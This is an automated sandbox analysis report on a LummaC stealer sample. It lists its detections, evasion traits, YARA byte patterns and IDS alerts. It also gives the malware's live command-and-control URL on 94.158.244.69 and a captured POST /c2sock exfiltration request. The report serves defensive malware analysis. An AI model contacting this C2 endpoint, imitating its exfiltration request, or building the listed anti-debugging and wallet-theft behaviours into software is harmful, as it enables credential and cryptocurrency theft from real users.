Edit tour

Windows Analysis Report
Vd3tOP5WSD.exe

Overview

General Information

Sample name:	Vd3tOP5WSD.exe renamed because original name is a hash value
Original sample name:	6b5e8356c9c11bb8018e49bacb31892460073945fb601b61cebdcf838ac6c5f1.exe
Analysis ID:	1555042
MD5:	d539e0fd4638f335e6ba827c71103e03
SHA1:	8448a6b53a5be38ee721065161d20824368379f2
SHA256:	6b5e8356c9c11bb8018e49bacb31892460073945fb601b61cebdcf838ac6c5f1
Tags:	94-158-244-69exeuser-JAMESWT_MHT
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to hide a thread from the debugger

Delayed program exit found

Found API chain indicative of debugger detection

Found evasive API chain (may stop execution after checking computer name)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Enables driver privileges

Found evasive API chain (date check)

Found evasive API chain (may stop execution after accessing registry keys)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

One or more processes crash

PE file contains sections with non-standard names

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Vd3tOP5WSD.exe (PID: 2052 cmdline: "C:\Users\user\Desktop\Vd3tOP5WSD.exe" MD5: D539E0FD4638F335E6BA827C71103E03)

WerFault.exe (PID: 2572 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2052 -s 1564 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": "http://94.158.244.69/c2sock", "Build Version": "LummaC2, Build 20233101"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_LummaCStealer_1	Yara detected LummaC Stealer	Joe Security
dump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.3920154401.0000000000A38000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x16f0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.3919343999.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
00000000.00000003.2148951176.00000000023C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Vd3tOP5WSD.exe PID: 2052	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Vd3tOP5WSD.exe PID: 2052	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Vd3tOP5WSD.exe PID: 2052	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.Vd3tOP5WSD.exe.400000.0.unpack	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
0.2.Vd3tOP5WSD.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
0.3.Vd3tOP5WSD.exe.23c0000.0.raw.unpack	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
0.3.Vd3tOP5WSD.exe.23c0000.0.unpack	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T10:52:13.306691+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.6	49773	TCP
2024-11-13T10:52:50.913637+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.6	49983	TCP

ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T10:51:26.431513+0100	2043206	1	A Network Trojan was detected	192.168.2.6	49856	94.158.244.69	80	TCP
2024-11-13T10:51:26.431513+0100	2043206	1	A Network Trojan was detected	192.168.2.6	49988	94.158.244.69	80	TCP
2024-11-13T10:52:26.013044+0100	2043206	1	A Network Trojan was detected	192.168.2.6	49805	94.158.244.69	80	TCP
2024-11-13T10:52:44.132548+0100	2043206	1	A Network Trojan was detected	192.168.2.6	49903	94.158.244.69	80	TCP
2024-11-13T10:52:53.138051+0100	2043206	1	A Network Trojan was detected	192.168.2.6	49956	94.158.244.69	80	TCP
2024-11-13T10:53:01.909159+0100	2043206	1	A Network Trojan was detected	192.168.2.6	49986	94.158.244.69	80	TCP
2024-11-13T10:53:20.128560+0100	2043206	1	A Network Trojan was detected	192.168.2.6	49989	94.158.244.69	80	TCP
2024-11-13T10:53:20.849421+0100	2043206	1	A Network Trojan was detected	192.168.2.6	49990	94.158.244.69	80	TCP
2024-11-13T10:53:38.222316+0100	2043206	1	A Network Trojan was detected	192.168.2.6	49991	94.158.244.69	80	TCP
2024-11-13T10:53:47.017589+0100	2043206	1	A Network Trojan was detected	192.168.2.6	49993	94.158.244.69	80	TCP
2024-11-13T10:53:56.106852+0100	2043206	1	A Network Trojan was detected	192.168.2.6	49994	94.158.244.69	80	TCP
2024-11-13T10:54:05.000873+0100	2043206	1	A Network Trojan was detected	192.168.2.6	49995	94.158.244.69	80	TCP
2024-11-13T10:54:13.834771+0100	2043206	1	A Network Trojan was detected	192.168.2.6	49996	94.158.244.69	80	TCP
2024-11-13T10:54:22.617838+0100	2043206	1	A Network Trojan was detected	192.168.2.6	49997	94.158.244.69	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T10:53:20.849421+0100	2843864	1	A Network Trojan was detected	192.168.2.6	49990	94.158.244.69	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000002.3922174302.00000000032C0000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": "http://94.158.244.69/c2sock", "Build Version": "LummaC2, Build 20233101"}

Multi AV Scanner detection for submitted file

Source: Vd3tOP5WSD.exe

ReversingLabs: Detection: 89%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Vd3tOP5WSD.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

Code function: 0_2_004052D9 CryptUnprotectData,

0_2_004052D9

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

Unpacked PE file: 0.2.Vd3tOP5WSD.exe.400000.0.unpack

Source: Vd3tOP5WSD.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00451F08 FindFirstFileExW,	0_2_00451F08
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00451FBC FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00451FBC
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009E216F FindFirstFileExW,	0_2_009E216F
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009E2223 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_009E2223

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.6:49805 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.6:49903 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.6:49986 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.6:49956 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.6:49993 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.6:49997 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.6:49989 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.6:49996 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.6:49994 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.6:49991 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.6:49995 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.6:49990 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:49990 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.6:49856 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.6:49988 -> 94.158.244.69:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://94.158.244.69/c2sock

Source: Joe Sandbox View

IP Address: 94.158.244.69 94.158.244.69

Source: Joe Sandbox View

ASN Name: MIVOCLOUDMD MIVOCLOUDMD

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.6:49773
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.6:49983

Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69

Source: unknown

HTTP traffic detected: POST /c2sock HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: TeslaBrowser/5.5Content-Length: 16815Host: 94.158.244.69

Source: Vd3tOP5WSD.exe, 00000000.00000002.3923843389.0000000003540000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.15
Source: Vd3tOP5WSD.exe, 00000000.00000002.3923843389.0000000003477000.00000004.00000020.00020000.00000000.sdmp, Vd3tOP5WSD.exe, 00000000.00000002.3920570857.0000000002A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/
Source: Vd3tOP5WSD.exe, 00000000.00000002.3920570857.0000000002A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69//nhJ)
Source: Vd3tOP5WSD.exe, 00000000.00000002.3920570857.0000000002A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/3-
Source: Vd3tOP5WSD.exe, 00000000.00000002.3920570857.0000000002A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/4-G
Source: Vd3tOP5WSD.exe, 00000000.00000002.3922174302.00000000032C0000.00000004.00000020.00020000.00000000.sdmp, Vd3tOP5WSD.exe, 00000000.00000002.3923843389.000000000345D000.00000004.00000020.00020000.00000000.sdmp, Vd3tOP5WSD.exe, 00000000.00000002.3923843389.0000000003484000.00000004.00000020.00020000.00000000.sdmp, Vd3tOP5WSD.exe, 00000000.00000002.3923843389.0000000003540000.00000004.00000020.00020000.00000000.sdmp, Vd3tOP5WSD.exe, 00000000.00000002.3920570857.0000000002940000.00000004.00000020.00020000.00000000.sdmp, Vd3tOP5WSD.exe, 00000000.00000002.3920570857.0000000002A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/c2sock
Source: Vd3tOP5WSD.exe, 00000000.00000002.3922174302.00000000032C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/c2sock-
Source: Vd3tOP5WSD.exe, 00000000.00000002.3922174302.00000000032C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/c2sockA
Source: Vd3tOP5WSD.exe, 00000000.00000002.3922174302.00000000032C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/c2sockD
Source: Vd3tOP5WSD.exe, 00000000.00000002.3920570857.0000000002A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/c2sockPV
Source: Vd3tOP5WSD.exe, 00000000.00000002.3922174302.00000000032C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/c2socks3
Source: Vd3tOP5WSD.exe, 00000000.00000002.3922174302.00000000032C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/c2sockx
Source: Vd3tOP5WSD.exe, 00000000.00000002.3920570857.0000000002A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/l
Source: Vd3tOP5WSD.exe, 00000000.00000002.3920570857.0000000002A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/p
Source: Vd3tOP5WSD.exe, 00000000.00000002.3920570857.0000000002A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/sIWi
Source: Vd3tOP5WSD.exe, 00000000.00000002.3921069838.0000000003033000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69:80/c2sock
Source: Vd3tOP5WSD.exe, 00000000.00000002.3923843389.0000000003540000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69:80/c2sock7
Source: Vd3tOP5WSD.exe, 00000000.00000002.3921069838.0000000003033000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69:80/c2sockJ
Source: Vd3tOP5WSD.exe, 00000000.00000002.3921069838.0000000003033000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69:80/c2sockk
Source: Vd3tOP5WSD.exe, 00000000.00000002.3921069838.0000000002F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Vd3tOP5WSD.exe, 00000000.00000002.3921069838.0000000002F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Vd3tOP5WSD.exe, 00000000.00000002.3921069838.0000000002F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Vd3tOP5WSD.exe, 00000000.00000002.3921069838.0000000002F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Vd3tOP5WSD.exe, 00000000.00000002.3921069838.0000000002F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Vd3tOP5WSD.exe, 00000000.00000002.3921069838.0000000002F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Vd3tOP5WSD.exe, 00000000.00000002.3921069838.0000000002F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Vd3tOP5WSD.exe, 00000000.00000002.3921069838.0000000002F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Vd3tOP5WSD.exe, 00000000.00000002.3921069838.0000000002F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: Vd3tOP5WSD.exe, 00000000.00000002.3921069838.0000000002F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Vd3tOP5WSD.exe, 00000000.00000002.3921069838.0000000002F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Vd3tOP5WSD.exe, 00000000.00000002.3920570857.00000000029F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Vd3tOP5WSD.exe, 00000000.00000002.3920570857.00000000029F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Vd3tOP5WSD.exe, 00000000.00000002.3920570857.00000000029F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Vd3tOP5WSD.exe, 00000000.00000002.3920570857.00000000029F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Vd3tOP5WSD.exe, 00000000.00000002.3920570857.00000000029F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Vd3tOP5WSD.exe, 00000000.00000002.3920570857.00000000029F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Vd3tOP5WSD.exe, 00000000.00000002.3920570857.00000000029F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Vd3tOP5WSD.exe, 00000000.00000002.3924235405.0000000003C61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Vd3tOP5WSD.exe, 00000000.00000002.3924235405.0000000003C61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Vd3tOP5WSD.exe, 00000000.00000002.3920570857.00000000029F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Vd3tOP5WSD.exe, 00000000.00000002.3920570857.00000000029F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Vd3tOP5WSD.exe, 00000000.00000002.3924235405.0000000003C61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: Vd3tOP5WSD.exe, 00000000.00000002.3924235405.0000000003C61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: Vd3tOP5WSD.exe, 00000000.00000002.3924235405.0000000003C61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.3920154401.0000000000A38000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0040B81C lstrcatW,lstrcmpW,lstrcmpW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,lstrcmpW,lstrlenW,lstrcatW,lstrcatW,lstrcatW,NtCreateFile,lstrcatW,NtQueryDirectoryFile,lstrcmpW,NtClose,lstrcmpW,lstrlenW,lstrlenW,lstrcmpW,	0_2_0040B81C
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00422177 NtQueryInformationProcess,	0_2_00422177
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0040A928 lstrcmpW,lstrlenW,lstrcatW,NtCreateFile,lstrcatW,lstrlenW,	0_2_0040A928
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0040B129 lstrcatW,lstrcatW,NtReadFile,NtClose,	0_2_0040B129
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0042F1C2 NtClose,	0_2_0042F1C2
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0041F9A4 GetCurrentProcessId,NtDuplicateObject,NtClose,GetProcessId,NtQuerySystemInformation,NtQuerySystemInformation,	0_2_0041F9A4
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_004244E4 NtSetInformationThread,	0_2_004244E4
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_004224A3 NtQueryInformationProcess,	0_2_004224A3
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_004245EC NtQuerySystemInformation,	0_2_004245EC
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00421EEB NtQueryInformationProcess,	0_2_00421EEB
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0040B7BB lstrcmpW,NtClose,	0_2_0040B7BB
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0040B7F5 NtClose,	0_2_0040B7F5

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0040B81C	0_2_0040B81C
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0042C0DA	0_2_0042C0DA
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00434080	0_2_00434080
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0040E14E	0_2_0040E14E
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0040A928	0_2_0040A928
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0040B129	0_2_0040B129
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0042B9C5	0_2_0042B9C5
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_004069A1	0_2_004069A1
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0041F9A4	0_2_0041F9A4
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0041C270	0_2_0041C270
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0042F278	0_2_0042F278
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0040620B	0_2_0040620B
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00430228	0_2_00430228
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_004052D9	0_2_004052D9
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00436ADC	0_2_00436ADC
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00405AAA	0_2_00405AAA
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0043B362	0_2_0043B362
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00402476	0_2_00402476
